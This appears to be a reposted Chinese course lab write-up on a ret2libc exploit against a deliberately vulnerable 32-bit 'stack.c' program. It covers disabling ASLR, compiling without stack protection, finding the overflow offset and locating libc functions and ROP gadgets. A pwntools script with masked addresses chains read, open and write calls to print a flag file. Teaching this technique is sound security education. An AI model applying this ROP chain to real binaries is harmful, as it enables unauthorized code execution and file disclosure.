【HUST】信息系统安全:Ret2libc多函数调用,ASLR两种情况(1)

这篇具有很好参考价值的文章主要介绍了【HUST】信息系统安全:Ret2libc多函数调用,ASLR两种情况(1)。希望对大家有所帮助。如果存在错误或未考虑完全的地方,请大家不吝赐教,您也可以点击"举报违法"按钮提交疑问。

Ret2libc:Return to libc,顾名思义,就是通过劫持控制流使控制流指向libc中的系统函数,从而实现打开shell等其他工作。

在本次作业中,我们的目标是通过运行stack.c程序来访问系统上的/tmp/flag程序的内容,其中,可以看到stack.c的程序的源代码如下:

#define _GNU_SOURCE
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <string.h>
#include <dlfcn.h>

void start() {
  printf("IOLI Crackme Level 0x00\n");
  printf("Password:");

  char buf[64];
  memset(buf, 0, sizeof(buf));
  read(0, buf, 256);

  if (!strcmp(buf, "250382"))
    printf("Password OK :)\n");
  else
    printf("Invalid Password!\n");
}

int main(int argc, char *argv[]) {

  setreuid(geteuid(), geteuid());
  setvbuf(stdout, NULL, _IONBF, 0);
  setvbuf(stdin, NULL, _IONBF,0);

  start();

  return 0;
}

        其中不难发现read的数量大于Buf应该有的64个字节,显然这种情况会导致栈溢出,并且覆盖start函数的返回地址,进而给攻击者留下可乘之机。

        在本次作业中,我使用的系统版本是:Linux version 5.13.0-28-generic (buildd@lgw01-amd64-035) (gcc (Ubuntu 9.3.0-17ubuntu1~20.04) 9.3.0, GNU ld (GNU Binutils for Ubuntu) 2.34) #31~20.04.1-Ubuntu SMP Wed Jan 19 14:08:10 UTC 2022

        关闭ASLR:

sudo sysctl -w kernel.randomize_va_space=0

        首先对stack.c程序进行编译,本次作业为了简化操作,使用的是32位的编译方式,同时关闭栈保护,具体而言,编译命令是:

gcc -fno-stack-protector -z execstack -no-pie -g -m32 stack.c -o stack

        -g是为了后期进行gdb调试,其他的操作在任务书上都有说明,注意,如果-m32出现错误,可能是系统本身并没有32位的库,可以通过以下命令来尝试解决

    $ sudo apt-get install gcc-multilib

        那么我们现在显然已经有了一个编译完成了的stack的程序,我们来看看他溢出的话会在哪个地址具体溢出,使用以下命令:

ulimit -c unlimited

        这个命令可以让核心转储,进而让攻击者看到溢出的eip内容,进而确认溢出的内容。然后输入以下内容创造溢出:

【HUST】信息系统安全:Ret2libc多函数调用,ASLR两种情况(1)

        如果是Kali的话,你的core会直接出现在文件的旁边,但是对于Ubuntu而言,你会发现core似乎没有出现在文件的附近,对于这种情况,你可以使用这种方法来寻找core:r

sysctl -w kernel.core_pattern=/tmp/core-%e.%p.%h.%t

        然后去tmp里面找core,找到自己的core,用GDB查看溢出到EIP内容:

 【HUST】信息系统安全:Ret2libc多函数调用,ASLR两种情况(1)

         可以看到你的eip为61616174,他的ASCII码值是aaat,通过指令判断偏移值:

cyclic -l 'aaat'

        得到的数值是73,但是由于是小端对齐(这个我也不确定),所以应该在76位置写入,记录该数值。(具体会因环境不同而不同)

        由于没有开启地址随机化,所以在这里函数的地址是固定的,然后我们需要找到各种功能库函数的地址,根据提示,我们需要找到exit(),read(),write()函数的地址,一般来说,你可以直接通过gdb函数去找到函数的偏移值,然后去加上库函数的地址(例如找read的话就在调试的时候输入p read,就会显示出一个地址),不过我们在这里可以用一下老师的方法,具体而言,第一步是查看程序调用了系统的哪个库函数:

【HUST】信息系统安全:Ret2libc多函数调用,ASLR两种情况(1)

        可以看到我们的调用的库函数是 /lib/i386-linux-gnu/libc.so.6,那么

【HUST】信息系统安全:Ret2libc多函数调用,ASLR两种情况(1)

        将000340d0+f7d36000相加,即可得到此时exit的地址(该地址会随环境不同而不同)

        如法炮制,找到其他函数地址,将其记录。

【HUST】信息系统安全:Ret2libc多函数调用,ASLR两种情况(1)

【HUST】信息系统安全:Ret2libc多函数调用,ASLR两种情况(1)

【HUST】信息系统安全:Ret2libc多函数调用,ASLR两种情况(1)

        最后我们要找到 pop ret 和pop ret ret以及其他操作(我们需要这个作为返回地址,好让我们可以弹出参数然后通过ret进入下一个系统函数),使用Ropgadget去寻找:

ropper --file ./stack_test | grep "pop" | grep "ret"

 【HUST】信息系统安全:Ret2libc多函数调用,ASLR两种情况(1)

 得到相应地址,PPPR是0x08049401,PPR是0x08049402,PR是PPPR是0x08049403

        至此所有需要的地址都获取完毕,填入老师给的攻击代码,运行,作业第一部分完成:

from pwn import *
p = process("./stack2")

PPPR=0x********
PPR=0x********
PR=0x********
BUF=0x********

num=**
payload = b'A' * num

#read
payload += p32(0x********)
payload += p32(PPPR)
payload += p32(0)
payload += p32(BUF)
payload += p32(9)
#open
payload += p32(0x********)
payload += p32(PPR)
payload += p32(BUF)
payload += p32(0)

#read
payload += p32(0x********)
payload += p32(PPPR)
payload += p32(3)
payload += p32(BUF)
payload += p32(10)

#write
payload += p32(0x********)
payload += p32(PPPR)
payload += p32(1)
payload += p32(BUF)
payload += p32(100)

payload += p32(0x********)
payload += p32(0xdeadbeef)
payload += p32(2)

p.sendline(payload)

p.interactive()

         可以看到攻击结果:

【HUST】信息系统安全:Ret2libc多函数调用,ASLR两种情况(1)

        已经成功读出了flag的内容(注意,flag内容需要自行创建) 

        文章来源地址https://www.toymoban.com/news/detail-443970.html

到了这里,关于【HUST】信息系统安全:Ret2libc多函数调用,ASLR两种情况(1)的文章就介绍完了。如果您还想了解更多内容,请在右上角搜索TOY模板网以前的文章或继续浏览下面的相关文章,希望大家以后多多支持TOY模板网!

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处: 如若内容造成侵权/违法违规/事实不符,请点击违法举报进行投诉反馈,一经查实,立即删除!

领支付宝红包 赞助服务器费用

相关文章

  • CTF学习笔记——ret2text

    ret2text 应该算是PWN里面比较简单的题型了,这种题型有个显著特征,就是会有个很明显的后门函数,也就是 system(\\\"/bin/sh\\\") ,我们只需要将我们的程序跳转到后门函数即可。不过我们控制执行程序已有的代码的时候也可以控制程序执行好几段不相邻的程序已有的代码 (也就是

    2024年02月04日
    浏览(63)
  • 字符串溢出(pwn溢出)--ret2shellcode

    有些技术再也记不住了。所以记录笔记,下面这个文档写的蛮好的,不过我实际情况和他稍有不同,特此记录 pwn溢出入门案例, 信息安全 https://saucer-man.com/information_security/177.html 这里面的例子是常见的栈溢出,例子代码就是如上文中的代码,为了测试方便,如上面作者一样,

    2024年02月02日
    浏览(43)
  • kernel-pwn之ret2dir利用技巧

    ret2dir 是2014年在USENIX发表的一篇论文,该论文提出针对 ret2usr 提出的 SMEP 、 SMAP 等保护的绕过。全称为 return-to-direct-mapped memory ,返回直接映射的内存。 在 SMEP 与 SMAP 等用于隔离用户与内核空间的保护出现时,内核中常用的利用手法是 ret2usr ,如下图所示(图片来自论文)。

    2024年02月16日
    浏览(35)
  • 【PWN · IntegerOverflow & ret2text】[BJDCTF 2020]babystack2.0

    第一次遇见整数溢出的题目,值得记录一下(虽然这里的整数溢出很简单 目录 前言 一、整数溢出 二、解题思路 1.ELF/checksec查看保护 2.IDA反汇编 3.整数溢出  4.exp编写 总结 整数溢出漏洞——对于有/无符号数,长/短位宽转换时机器码的变换策略所指。 如果一个整数用来计算

    2024年02月06日
    浏览(42)
  • 【HUST】网安|计算机网络安全实验|实验一 TCP协议漏洞及利用

    写在最前: 实验指导书已经写得非常好了 ,这是我个人的实验记录, 并没有认真整理和记录容易出问题的地方 。只是免得以后忘了什么是netwox还得翻学习通。 HUST计算机网络安全实验_Gitee Github 普通用户: seed 密码:dees 超级用户:root 密码:seedubuntu Network(bridge):172.17.0.0/1

    2023年04月21日
    浏览(91)
  • 【HUST】网安|计算机网络安全实验|实验二 DNS协议漏洞利用实验

    写在最前: 这是我个人的实验记录,实现方式有很多种,多台虚拟机更容易做netwox。 认真整理和记录了一下容易出问题的地方。 代码仓库开了。 HUST计算机网络安全实验_Gitee Github docker使用 建立实验环境 普通用户: seed 密码:dees 超级用户:root 密码:seedubuntu Network(bridge):

    2024年02月04日
    浏览(53)
  • 【HUST】网络攻防实践|6_物联网设备固件安全实验|实验一 裸机缓冲区溢出漏洞利用

    写在最前: 大家分析的时候看一下自己学号是多少,然后分析对应的文件哈,我想都没想就打开01分析了,全部都做完了发现我不是这个文件,当事人现在就是很后悔,非常后悔呜呜呜呜呜。 打开 IDA Pro 7.6 ,打开 task1_0x.elf 文件, 选对应的选项。 然后点开 main 函数, f5 反汇

    2024年02月09日
    浏览(52)
  • 【HUST】网络攻防实践|6_物联网设备固件安全实验|实验三 FreeRTOS-MPU 保护绕过

    写在最前:一定要 先将 task3.sct 文件链接到项目中 ,具体操作后文有写,而且我在附加内容里解释了sct文件的含义。 终于可以告别这个实践了。大家在心得里可以加一句“ 任务量较大,建议减少任务量 ”吗? MPU预设置: a) 编写 C 代码实现基于 FreeRTOS-MPU v10.4 的提权代码和

    2024年02月09日
    浏览(39)
  • MySQL 系统信息函数

    当我们需要知道当前 MySQL 数据库的一些基本信息和使用情况的时候,可以使用系统信息函数来获取相关信息,以随时掌握数据库的使用情况。 下表列出了一些常用的系统信息函数: 函数名 作用 version() 返回数据库版本号 connection_id() 返回服务器的连接数 database() 返回当前数

    2024年02月07日
    浏览(24)
  • 【信息安全案例】——系统软件安全(学习笔记)

    📖 前言:操作系统是管理系统资源、控制程序执行、提供良好人机界面和各种服务的一种系统软件,是连接计算机硬件与上层软件和用户之间的桥梁。因此,操作系统是其他系统软件、应用软件运行的基础,操作系统的安全性对于保障其他系统软件和应用软件的安全至关重

    2024年02月02日
    浏览(43)

觉得文章有用就打赏一下文章作者

支付宝扫一扫打赏

博客赞助

微信扫一扫打赏

请作者喝杯咖啡吧~博客赞助

支付宝扫一扫领取红包,优惠每天领

二维码1

领取红包

二维码2

领红包